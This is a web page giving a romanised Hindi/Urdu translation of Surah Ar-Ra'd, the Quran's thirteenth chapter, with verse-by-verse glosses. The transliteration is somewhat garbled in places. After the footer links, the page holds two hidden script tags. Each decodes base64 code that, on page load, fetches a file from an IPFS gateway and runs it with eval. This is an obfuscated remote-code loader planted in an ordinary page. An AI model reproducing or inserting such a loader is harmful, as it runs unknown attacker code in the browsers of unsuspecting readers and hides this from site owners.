अर-रअद
ar-rad - 43 ayatean, 6 ruku, madina soora
ar-rad islam dharm ke pavitr granth quran ka 13vaan soora (adhyay) hai jisamean 43 ayatean hoti haian.
13:1 - alif lam mim ra ye kitab (quran) ki ayatean hai aur tumhare paravaradigar ki taraph se jo kuchh tumhare pas nazil kiya gaya hai bilkul thik hai magar bahutere log eeman nahian late
13:2 - khuda vahi to hai jisane asamanoan ko jinhean tum dekhate ho bagair sutoon (khamboan) ke uthakar kh da kar diya phir arsh (ke banane) par amada hua aur sooraj aur chaand ko (apana) tabedar banaya ki har ek vakt muqarrara tak chala karate hai vahi (duniya ke) har ek kam ka intezam karata hai aur isi garaz se ki tum log apane paravaradigar ke samane hazir hone ka yaqin karo
13:3 - (apani) ayatean taphasiladar bayan karata hai aur vah vahi hai jisane zamin ko bichhaya aur usamean (b de b de) atal paha d aur dariya banae aur usane har tarah ke mevoan ki do do kismean paida ki (jaise khatte mithe) vahi rat (ke parade) se din ko dhak deta hai isamean shaq nahian ki jo log aur gaur v fikr karate haian unake lie isamean (kudarat khuda ki) bahuteri nishaniyaan haian
13:4 - aur khuramoan (khajoor) ke darakht ki ek j d aur do yakhean aur baz akela (ek hi yakh ka) hal aauki sab ek hi pani se siche jate haian aur phaloan mean baz ko baz par ham tarajih dete haian beshak jo log aqal vale haian unake lie isamean (kudarat khuda ki) bahuteri nishaniyaan haian
13:5 - aur agar tumhean (kisi bat par) tajjub hota hai to un kuphpharoan ko ye qaul tajjub ki bat hai ki jab ham (s dagal kar) mitti ho jaeangean to kya ham (phir dobara) ek nee jahannum mean aanऎangean ye vahi log haian jinhoanne apane paravaradigar ke sath kuphr kiya aur yahi vah log haian jinaki gardanoan mean (qayamat ke din) tauq p de hogean aur yahi log jahannumi haian ki ye isamean hamesha rahegean
13:6 - aur (ai rasool) ye log tum se bhalaee ke qabl hi buraee (azab) ki jaldi macha rahe haian hal aauki unake pahale (bahut se logoan ki) sazaean ho chuki haian aur isamean shaq nahian ki tumhara paravaradigar bavajood unaki shararat ke logoan par b da bakhashish (karam) vala hai aur isamean bhi shaq nahian ki tumhara paravaradigar yaqinan sakht azab vala hai
13:7 - aur vo log kaphir haian kahate haian ki is shakhsh (mohammad) par usake paravaradigar ki taraph se koee nishani (hamari marzi ke mutabiq़) kyoan nahian nazil ki jati ai rasool tum to sirph (khauphe khuda se) darane vale ho
13:8 - aur har qaum ke lie ek hidayat karane vala hai har mada jo ki pet mean lie hue hai aur usako khuda hi janata hai v bachcha daniyoan ka ghatana badhana (bhi vahi janata hai) aur har chiz usake nazadiq ek andaje se hai
13:9 - (vahi) batin (chhupe huve) v zahir ka janane vala (sab se) b da aur alishan hai
13:10 - tum logoan mean jo koee chupake se bat kahe aur jo shakhsh zor se pukar ke bole aur jo shakhsh rat ki tariqi (aandhere) mean chhupa baitha ho aur jo shakhsh din dahadean chala ja raha ho
13:11 - (usake nazadik) sab barabar haian (adami kisi halat mean ho magar) us akele ke lie usake age usake pichhe usake nigehaban (pharishte) muqarrar haian ki usako hukm khuda se hiphazat karate haian jo (neamat) kisi qaum ko hasil ho beshak vah log khud apani naphsani halat mean tagyyur n dalean khuda haragiz tagyyur nahian dala karata aur jab khuda kisi qaum par buraee ka irada karata hai to phir usaka koee talane vala nahian aur n usaka usake siva koee vali aur (saraparast) hai
13:12 - vah vahi to hai jo tumhean darane aur lalach dene ke vaste bijali ki chamak dikhata hai aur pani se bhare bojhal badaloan ko paida karata hai
13:13 - aur garj aur pharishte usake khauph se usaki hamdo sana ki tasbih kiya karate haian vahi (asaman se) bijaliyoan ko bhejata hai phir use jis par chahata hai gira bhi deta hai aur ye log khuda ke bare mean (khvamakhvah) jhag de karate haian hal aauki vah b da sakht qoovat vala hai
13:14 - (musibat ke vakt) usi ka (pukarana) thik pukarana hai aur jo log use chho dakar (doosaroan ko) pukarate haian vah to unaki kuchh sunate tak nahian magar jis tarah koee shakhsh (bagair uangaliyaan milae) apani donoan hatheliyaan pani ki taraph phailae taki pani usake muanh mean pahuanch jae hal aauki vah kisi tarah pahuanchane vala nahian aur (isi tarah) kaphiroan ki dua gumarahi mean (p di bahaki phira karati hai)
13:15 - aur asamanoan aur zamin mean (makhalooqat se) jo koee bhi hai khushi se ya zabaradasti sab (allah ke age sar basajood haian aur (isi tarah) unake sae bhi subah v sham (sajada karate haian) (15) (sajada)
13:16 - (ai rasool) tum poochho ki (akhir) asaman aur zamin ka paravaradigar kaun hai (ye kya javab degean) tum kah do ki allah hai (ye bhi kah do ki kya tumane usake siva doosare karasaz bana rakhe haian jo apane lie ap n to naphe par qaboo rakhate haian n zarar (nukasan) par (ye bhi to) poochho ki bhala (kahian) andha aur aauankhoan vala barabar ho sakata hai (haragiz nahian) (ya kahian) aandhera aur ujala barabar ho sakata hai (haragiz nahian) in logoan ne khuda ke kuchh shariq thahara rakhe haian kya unhoanne khuda hi ki si makhalooq paida kar rakhi hai jinake sabab makhalookat un par mushataba ho gee hai (aur unaki khudaee ke qayal ho ge) tum kah do ki khuda hi har chiz ka paida karane vala aur vahi yakata aur sipar (sab par) galib hai
13:17 - usi ne asaman se pani barasaya phir apane apane andaze se nale bah nikale phir pani ke rele par (josh khakar) phoola hua jhag (phen) a gaya aur us chiz (dhatu) se bhi jise ye log zevar ya koee asabab banane ki garaz se ag mean tapate haian isi tarah phen a jata hai (phir alag ho jata hai) yuan khuda haq v batil ki masale bayan pharamata hai (ki pani haq ki misal aur phen batil ki) garaz phen to khushk hokar gayab ho jata hai jisase logoan ko napha pahuanchata hai (pani) vah zamin mean thahara rahata hai yuan khuda (logoan ke samajhane ke vaste) masale bayan pharamata hai
13:18 - jin logoan ne apane paravaradigar ka kahana mana unake lie bahut behatari hai aur jin logoan ne usaka kaha n mana (qayamat mean unaki ye halat hogi) ki agar unhean rue zamin ke sab khazane balki usake sath itana aur mil jae to ye log apani najat ke badale usako (ye khushi) de dalean (magar phir bhi koee phayada nahian) yahi log haian jinase buri tarah hisab liya jaega aur akhir un ka thikana jahannum hai aur vah kya buri jagah hai
13:19 - (ai rasool) bhala vah shakhsh jo ye janata hai ki jo kuchh tumhare paravaradigar ki taraph se tum par nazil hua hai bilkul thik hai kabhi us shakhsh ke barabar ho sakata hai jo muttaliq (poora) aandha hai (haragiz nahian)
13:20 - isase to bas kuchh samajhadar log hi nasihat hasil karate haian vah log hai ki khuda se jo ehad kiya use poora karate haian aur apane paiman ko nahian to date
13:21 - (ye) vah log haian ki jin (talluqat) ke qayam rakhane ka khuda ne hukm diya unhean qayam rakhate haian aur apane paravaradigar se darate haian aur (qayamat ke din) buri tarah hisab lie jane se khauph khate haian
13:22 - aur (ye) vah log haian jo apane paravaradigar ki khushanoodi hasil karane ki garaz se (jo musibat un par p di hai) jhel ge aur pabandi se namaz ada ki aur jo kuchh hamane unhean rozi di thi usamean se chhipakar aur khul kar khuda ki rah mean kharch kiya aur ye log buraee ko bhi bhalaee s dapha karate haian -yahi log haian jinake lie akhirat ki khoobi makhasoos hai
13:23 - (yani) hamesha rahane ke bag jinamean vah ap jaeॅge aur unake bap, dadaoan, biviyoan aur unaki aulad mean se jo log neko kar hai (vah sab bhi) aur pharishte behasht ke har daravaze se unake pas aegean
13:24 - aur salam alaikum (ke bad kahegean) ki (duniya mean) tumane sabr kiya (ye usi ka sila hai dekho) to akhirat ka ghar kaisa achchha hai
13:25 - aur jo log khuda se ehad v paiman ko pakka karane ke bad to d dalate haian aur jin (talukat bahami) ke qayam rakhane ka khuda ne hukm diya hai unhean qata (to date) karate haian aur rue zamin par fasad phailate phirate haian aise hi log haian jinake lie lanat hai aur aise hi logoan ke vaste b da ghar (jahannum) hai
13:26 - aur khuda hi jisake lie chahata hai rozi ko badha deta hai aur jisake lie chahata hai tang karata hai aur ye log duniya ki (chand roza) zindagi par bahut nihal haian hal aauki duniyavi zindagi (neem) akhirat ke muqabil mean bilkul behakiqat chiz hai
13:27 - aur jin logoan ne kuphr ekhatiyar kiya vah kahate haian ki us (shakhs yani tum) par hamari khvahish ke muvaphiq koee maujiza usake paravaradigar ki taraph se kyoan nahian nazil hota tum unase kah do ki isamean shaq nahian ki khuda jise chahata hai gumarahi mean chho d deta hai
13:28 - aur jisane usaki taraph ruzoo ki use apani taraph pahuanchane ki rah dikhata hai (ye) vah log haian jinhoanne eeman kubool kiya aur unake diloan ko khuda ki chah se tasalli hua karati hai
13:29 - jin logoan ne eeman qubool kiya aur achchhe achchhe kam kie unake vaste (behasht mean) tooba (darakht) aur khushahali aur achchha anjam hai
13:30 - (ai rasool jis tarah hamane aur paigambar bheje the) usi tarah hamane tumako us ummat mean bheja hai jisase pahale aur bhi bahut si ummate guzar chuki haian -taki tum unake samane jo quran hamane vahi ke zarie se tumhare pas bheja hai unhean padh kar suna do aur ye log (kuchh tumhare hi nahian balki sire se) khuda hi ke munkir haian tum kah do ki vahi mera paravaradigar hai usake siva koee mabood nahian mai usi par bharosa rakhata hooan aur usi taraph ruzoo karata hooan
13:31 - aur agar koee aisa quran (bhi nazil hota) jisaki barakat se paha d (apani jagah) chal kh de hote ya usaki vajah se zamin (ki musafat (doori)) tay ki jati aur usaki barakat se murde bol uthate (to bhi ye log manane vale n the) balki sach yooan hai ki sab kam ka ekhteyar khuda hi ko hai to kya abhi tak eemanadaroan ko chain nahian aya ki agar khuda chahata to sab logoan ki hidayat kar deta aur jin logoan ne kuphr ekhteyar kiya un par unaki karatoot ki saza mean koee (n koee) musibat p dati hi rahegi ya (un par p di) to unake gharoan ke as pas (garaz) nazil hogi (zarur) yahaan tak ki khuda ka vayada (phateh makka) poora ho kar rahe aur isamean shaq nahian ki khuda haragiz khilafe vayada nahian karata
13:32 - aur (ai rasool) tumase pahale bhi bahutere paigambaroan ki hॅsi u daee ja chuki hai to maine (chand roz) kaphiroan ko mohalat di phir (akhir kar) hamane unhean le dala phir (too kya poochhata hai ki) hamara azab kaisa tha
13:33 - kya jo (khuda) har ek shakhsh ke amal ki khabar rakhata hai (unako yuan hi chho d dega haragiz nahian) aur un logoan ne khuda ke (doosare doosare) sharik thaharae (ai rasool tum unase kah do ki tum akhir unake nam to bataoan ya tum khuda ko aise shariqo ki khabar dete ho jinako vah janata tak nahian ki vah zamin mean (kidhar basate) haian ya (niri oopar se batean banate haian balki (asal ye hai ki) kaphiroan ko unaki makkariyaan bhali dikhaee gee hai aur vah (goya) rahe rast se rok die ge haian aur jis shakhsh ko khuda gumarahi mean chho d de to usaka koee hidayat karane vala nahian
13:34 - in logoan ke vaste duniyavi zindagi mean (bhi) azab hai aur akhirat ka azab to yaqini aur bahut sakht khulane vala hai (aur) (phir) khuda (ke gazab) se unako koee bachane vala (bhi) nahian
13:35 - jis bag (behasht) ka parahezagaroan se vayada kiya gaya hai usaki siphat ye hai ki usake niche naharean jari hogi usake meve sadabahar aur aise hi usaki chh aauv bhi ye anjam hai un logoan ko jo (duniya mean) parahezagar the aur kaphiroan ka anjam (jahannum ki) ag hai
13:36 - aur (e rasool) jin logoan ko hamane kitab di hai vah to jo (ehakam) tumhare pas nazil kie ge haian sab hi se khush hote haian aur baz phirake usaki batoan se inkar karate haian tum (unase) kah do ki (tum mano ya n mano) mujhe to ye hukm diya gaya hai ki mai khuda hi ki ibadat karu aur kisi ko usaka sharik n banaoo mai (sab ko) usi ki taraph bulata hooan aur har shakhsh ko hir phir kar usaki taraph jana hai
13:37 - aur yooan hamane us quran ko arabi (zaban) ka pharaman nazil pharamaya aur (ai rasool) agar kahian tumane isake bad ko tumhare pas ilm (quran) a chuka un ki naphasiyani khvahishoan ki pairavi kar li to (yad rakho ki) phir khuda ki taraph se n koee tumhara saraparast hoga n koee bachane vala
13:38 - aur hamane tumase pahale aur (bhi) bahutere paigambar bheje aur hamane unako biviyaan bhi di aur aulad (bhi ata ki) aur kisi paigambar ki ye majal n thi ki koee maujiza khuda ki ijazat ke bagair la dikhae har ek vakt (mauood) ke lie (hamare yahaan) ek (qism ki) taharir (hoti) hai
13:39 - phir isamean se khuda jisako chahata hai mita deta hai aur (jisako chahata hai baqi rakhata hai aur usake pas asal kitab (lauhe mahaphooz) maujood hai
13:40 - aur (e rasool) jo jo vayade (azab vagairah ke) ham un kuphpharoan se karate haian chahe, unamean se baz tumhare samane poore kar dikhaean ya tumhean usase pahale utha lean bahar hal tum par to sirph ehakam ka pahucha dena pharj hai
13:41 - aur unase hisab lena hamara kam hai kya un logoan ne ye bat n dekhi ki ham zamin ko (futuhate islam se) usake tamam etaraph (charo or) se (savah kuphr mean) ghatate chale ate haian aur khuda jo chahata hai hukm deta hai usake hukm ka koee talane vala nahian aur bahut jald hisab lene vala hai
13:42 - aur jo log un (kuphphar makke) se pahale ho guzare haian un logoan ne bhi paigambaroan ki mukhalaphat mean b di b di tadabire ki to (khak n ho saka kyoanki) sab tadabire to khuda hi ke hath mean haian jo shakhsh jo kuchh karata hai vah use khoob janata hai aur anaqarib kuphphar ko bhi maloom ho jaega ki akhirat ki khoobi kis ke lie hai
13:43 - aur (ai rasool) kaphir log kahate haian ki tum paigambar nahian ho to tum (unase) kah do ki mere aur tumhare daramiyan meri risalat ki gavahi ke vaste khuda aur vah shakhsh jisake pas (asamani) kitab ka ilm hai kafi hai
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>